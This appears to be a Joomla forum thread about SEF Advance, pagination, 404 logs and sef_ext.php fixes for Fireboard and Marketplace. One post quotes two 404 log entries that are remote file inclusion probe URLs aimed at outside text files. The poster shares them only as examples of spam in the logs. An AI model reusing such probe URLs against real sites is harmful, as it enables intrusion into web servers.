Hi Guys

My view is that the problem is not Joomla or SEF Advance but pagination itself.

After all, what is the point of pagination? Does anyone say "I really want to go to page 68 of the blog?" No - they use the search.

Even if they do go to page 68, what would a good title be? "Sakic.net Blog - Page 68"? The content changes all the time so we can't find a good page title for changing content.

I think the best pagination is simply Next / Previous or just leaving it out entirely.

Yes, its disappointing that the fireboard file is encoded.

If you have time to fix bugs promptly, no problem.

However, if you don't have time, leave the file decoded and let others fix the issues.

Yep - 2 days of not checking the 404 logs and there are over 1500 errors logged, nearly all from spammers but probably a couple of genuine errors in there. Mostly its stuff like this:

      components/com_joomlalib/?baseDir=http://www.######.se/components/com_extcalendar/ec.txt?
search.php?cutepath=http://www.asoc-posidonia.es/pr.txt??

Without listing by the number of times the error occurs, the log is unusable.

Hi Emir

It would probably help if the 404 errors were sorted by occurence.

Currently its hard to wade through 100s of URLs without knowing which ones are urgent.

Hi All

We have a sef_ext.php file ready for Marketplace 1.4.2.

It works with SEF Advance and Artio SEF.

May also work on other versions of Marketplace and with other SEF URL components, but they haven't been tested.

Login to download here:
http://www.alledia.com/option,com_docman/Itemid,122/

I got a sef_ext.php file from the developer of EZRealty - email here and ask.

No luck unfortunately.

Would the fact we're using Community Builder make a difference?

Hi

We have the same problem currently.

We have a menu link to Fireboard set to "Public".

With SEF Adance and sef_ext.php, all registered users can login but guests can't.

Remove sef_ext.php and anyone can access the forum again.

Just remove line 66:

    $url_array['2'] = eregi_replace($ext_suffix, "", $url_array['2']);  // removing extension, e.g. ".html"